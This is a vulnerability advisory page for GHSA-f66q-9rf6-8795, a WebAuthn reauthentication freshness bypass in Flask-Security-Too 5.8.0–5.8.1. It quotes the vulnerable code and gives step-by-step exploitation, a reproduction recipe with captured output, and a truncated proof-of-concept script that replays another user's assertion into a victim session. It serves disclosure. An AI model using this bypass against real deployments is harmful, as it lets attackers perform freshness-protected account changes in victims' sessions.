Skip to content
Fencer Intel
medium —

GHSA-f66q-9rf6-8795 json

Flask-Security-Too: WebAuthn reauthentication freshness bypass via cross-user assertion

published 4mo ago modified 2mo ago

cvss
—
not scored
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

### Summary

Flask-Security-Too 5.8.0 and 5.8.1 mark a session as reauthentication-fresh after processing a WebAuthn assertion whose proven credential belongs to a different user than the currently authenticated session user. The check that `GHSA-97r5-pg8x-p63p` added on the OAuth reauthentication path (`user.email == current_user.email`) is missing on the WebAuthn reauthentication path. An attacker who owns any WebAuthn credential registered to any account on the deployment can satisfy a victim session's freshness gate by submitting their own WebAuthn proof into the victim session.

### Affected versions

`Flask-Security-Too` `>= 5.8.0, <= 5.8.1` (current `main` commit `5c44c76e33a20b67d02115e26d2da4bab18c094e`). `GHSA-97r5-pg8x-p63p` (published 2026-05-22) shipped its fix in 5.8.1 only on `oauth_glue.py`; `webauthn.py` was not touched and remains exploitable in 5.8.1.

### Privilege required

Authenticated attacker on the same Flask-Security deployment, owning at least one WebAuthn credential of any usage (`first` / `secondary` / verify) that is registered to their own account. The attacker also needs the ability to drive HTTP requests against the WebAuthn endpoints inside the victim session (e.g. a separate gadget such as CSRF + cookie-based auth, an XSS that doesn't reach the cookie itself but can move the session through endpoints, or an existing session-fixation gadget; or the rarer but easier case of an attacker who has direct access to the victim's not-yet-fresh session via a shared browser). The point of the freshness gate is to defend exactly that "I have the session but it isn't fresh enough to do sensitive things" position, so any context in which freshness would have protected the victim is also the context in which this bypass matters.

### Vulnerable code

[`flask_security/webauthn.py:846-889`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/flask_security/webauthn.py#L846-L889) (commit `5c44c76e33a20b67d02115e26d2da4bab18c094e`):

```python @auth_required(lambda: cv("API_ENABLED_METHODS")) def webauthn_verify_response(token: str) -> ResponseValue: form = t.cast( WebAuthnSigninResponseForm, build_form_from_request("wan_signin_response_form") )

expired, invalid, state = check_and_get_token_status( token, "wan", get_within_delta("WAN_SIGNIN_WITHIN") ) ... form.challenge = state["challenge"] form.user_verification = state["user_verification"] form.is_secondary = False form.is_verify = True

if form.validate_on_submit(): # update last use and sign count after_this_request(view_commit) assert form.cred assert form.user form.cred.lastuse_datetime = _security.datetime_factory() form.cred.sign_count = form.authentication_verification.new_sign_count _datastore.put(form.cred)

# verified - so set freshness time. session["fs_paa"] = time.time() ... ```

[`flask_security/webauthn.py:276-308`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/flask_security/webauthn.py#L276-L308) (the form's `validate()`):

```python def validate(self, **kwargs: t.Any) -> bool: if not super().validate(**kwargs): return False # pragma: no cover ... try: auth_cred = parse_authentication_credential_json(self.credential.data) except (...): ... return False

# Look up credential Id (raw_id) and user. 7.2.6/7 self.cred = _datastore.find_webauthn(credential_id=auth_cred.raw_id) ... # This shouldn't be able to happen if datastore properly cascades delete self.user = _datastore.find_user_from_webauthn(self.cred) ```

`self.user` is resolved from the attacker-controlled `credential_id` and is never compared to `current_user`. The state token issued by `_signin_common` ([`webauthn.py:589-622`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/webauthn.py#L589-L622)) carries only `{challenge, user_verification}`, so state tokens are not bound to any user and replay portably across sessions:

```python def _signin_common(user: UserMixin | None, usage: list[str]) -> tuple[t.Any, str]: ... state = { "challenge": challenge, "user_verification": uv, } ... state_token = t.cast(str, _security.wan_serializer.dumps(state)) return o_json, state_token ```

Contrast with the patch in [`oauth_glue.py:211`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/oauth_glue.py#L211) that `GHSA-97r5-pg8x-p63p` shipped:

```python next_loc = session.pop("fs_oauth_next", None) if user and user.email == current_user.email: # verified - so set freshness time. session["fs_paa"] = time.time() ```

That `user.email == current_user.email` clamp is the missing check on the WebAuthn side.

### How input reaches the sink

1. Attacker logs in to their own account and registers their own WebAuthn credential (call it `cred_attacker`). They retain a copy of any valid `navigator.credentials.get()` assertion JSON produced by their authenticator (one signature is enough; can also be produced fresh on demand per request). 2. Attacker holds, or gets, a victim session in a state where `fs_paa` is past `FRESHNESS`. The victim is authenticated as themselves; the gate stops them from invoking freshness-protected business endpoints (`/change`, `/change-username`, `/wf-add`, `/us-setup`, anything decorated with `@auth_required(within=...)`). 3. The victim session calls `POST /wan-verify` and receives a `wan_state` token. The state token has no user binding. 4. Attacker submits an assertion that proves possession of `cred_attacker`, inside the victim session, to `POST /wan-verify/<wan_state>`. 5. `WebAuthnSigninResponseForm.validate` resolves `form.user` to the attacker account from `find_user_from_webauthn(self.cred)`, signs/verifies the assertion against the (attacker-controlled) public key it stored at registration time, and returns `True`. The user-handle check on `auth_cred.response.user_handle` (if present) compares against `self.user.fs_webauthn_user_handle`, i.e. it compares attacker user-handle to attacker user, so it passes trivially. 6. `webauthn_verify_response` then writes `session["fs_paa"] = time.time()`. The session user is unchanged (still the victim) but the freshness clock is reset by a cryptographic proof of the attacker's authenticator. 7. Any subsequent `@auth_required(within=...)` endpoint now succeeds inside the victim session.

### End-to-end reproduction

Reproduction is an in-process Flask test client driving the published wheel (`pip install Flask-Security-Too==5.8.0`, also re-run against 5.8.1 since `GHSA-97r5-pg8x-p63p`'s fix shipped with that release only touched `oauth_glue.py`). The full transcript is in the Proof of concept section below; here is the boot recipe:

```bash python3.12 -m venv venv source venv/bin/activate pip install --quiet 'Flask-Security-Too==5.8.0' Flask-SQLAlchemy webauthn email-validator argon2_cffi python poc.py ```

Captured run-time output (5.8.0 path):

``` === Submit BOB's WebAuthn assertion to Alice's /wan-verify-response === cross-user assertion status: 200 alice fs_uniquifier in session AFTER: '408245d132bc4213a55606c46f40e038' # still Alice fs_paa BEFORE: 1779582282.550872 fs_paa AFTER : 1779585882.615287 # advanced === Demonstrate impact: /sensitive (freshness-protected) accepted === /sensitive after cross-user verify status: 200 ```

Re-run against 5.8.1 produces the same `200` on the cross-user assertion and the same `200` on the freshness-gated endpoint, confirming that the patch for `GHSA-97r5-pg8x-p63p` did not extend to the WebAuthn path.

### Proof of concept

Mocked WebAuthn fixtures (`REG_DATA_UV`, `SIGNIN_DATA_UV`, `REG_DATA1`, `SIGNIN_DATA1`) and `HackWebauthnUtil` are lifted verbatim from the project's own test suite ([`tests/test_webauthn.py`](https://github.com/pallets-eco/flask security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/tests/test_webauthn.py)) which pins the challenge so a recorded assertion blob can be replayed; this does not bypass any cryptographic check inside `webauthn.verify_authentication_response`, it just substitutes the test-suite's own `WebauthnUtil` so the recorded blobs can be exercised against a running app instance. In a real-world deployment the attacker uses their own authenticator producing fresh assertions per request.

`poc.py` (complete, runnable; the `REG_DATA*` / `SIGNIN_DATA*` fixtures are the project's own `tests/test_webauthn.py` blobs, reproduced in full):

```python """ E2E PoC for Flask-Security-Too 5.8.0 WebAuthn reauthentication freshness bypass via cross-user assertion.

Sibling of GHSA-97r5-pg8x-p63p (OAuth path, fixed in 5.8.1). The WebAuthn verify path (`webauthn.py:847-889 webauthn_verify_response` + `webauthn.py:276-366 WebAuthnSigninResponseForm.validate`) sets `session["fs_paa"] = time.time()` whenever a syntactically valid WebAuthn assertion completes, without checking that the assertion's resolved user equals the current session user.

Setup: - Alice and Bob both registered as users. - Each registers their own WebAuthn credential (REG_DATA_UV for Alice as primary-usage key, REG_DATA1 for Bob as primary-usage key). - Alice authenticates via password. Her freshness timestamp is rolled back to simulate a stale session (the standard reauthn precondition). - Alice's session attempts /wan-verify and gets a state_token. The state token only contains {challenge, user_verification} -- no user binding. - Alice's session POSTs to /wan-verify/<state_token> with BOB's WebAuthn credential signature (SIGNIN_DATA1). - validate() resolves form.user from Bob's credential_id without checking against current_user. webauthn_verify_response writes session["fs_paa"] = time.time(). - Alice now passes the freshness gate using a proof of Bob's credential.

Outcome: a freshness-protected endpoint (/fresh, /change-username, etc.) responds 200 for Alice's session even though the only credential proof provided was Bob's. This is the same trust-contract violation that GHSA-97r5-pg8x-p63p patched on the OAuth path. """

import copy import datetime as dt import json import re import time from datetime import timedelta

from flask import Flask, jsonify from flask_sqlalchemy import SQLAlchemy from flask_security import ( Security, SQLAlchemyUserDatastore, auth_required, hash_password, ) from flask_security.models import fsqla_v3 as fsqla from flask_security.webauthn_util import WebauthnUtil

# Fixtures lifted verbatim from tests/test_webauthn.py CHALLENGE = "smCCiy_k2CqQydSQ_kPEjV5a2d0ApfatcpQ1aXDmQPo"

REG_DATA_UV = { "id": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy", "rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy", "type": "public-key", "response": { "attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVjC" "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2PFAAAABAAAAA" "AAAAAAAAAAAAAAAAAAMLN8WaXxstGR_rEpH8SLIAocG5MPztIzhbWXi" "dS11DBGvGrRtaBLJDaphSQn4CmRsqUBAgMmIAEhWCCzfFml8bLRkf" "6xKR_EUnaoI333MuxRlv5-LwojDibdTyJYIFMifFwn-RfkDDgsTHF" "jWgE6bld-Jc4nhFMTkQja9P8IoWtjcmVkUHJvdGVjdAI", "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzI" "xRFEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlY" "UmpjRkV4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2Nhb" "Ghvc3Q6NTAwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0", "transports": ["nfc", "usb"], }, "extensions": '{"credProps":{"rk":true}}', } SIGNIN_DATA_UV = { "id": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy", "rawId": "s3xZpfGy0ZH…

Is GHSA-f66q-9rf6-8795 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

Affected packages

ecosystem package affected fixed in
pypi flask-security-too
>=5.8.0, <=5.8.1
no fix listed

Classification

Weakness

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.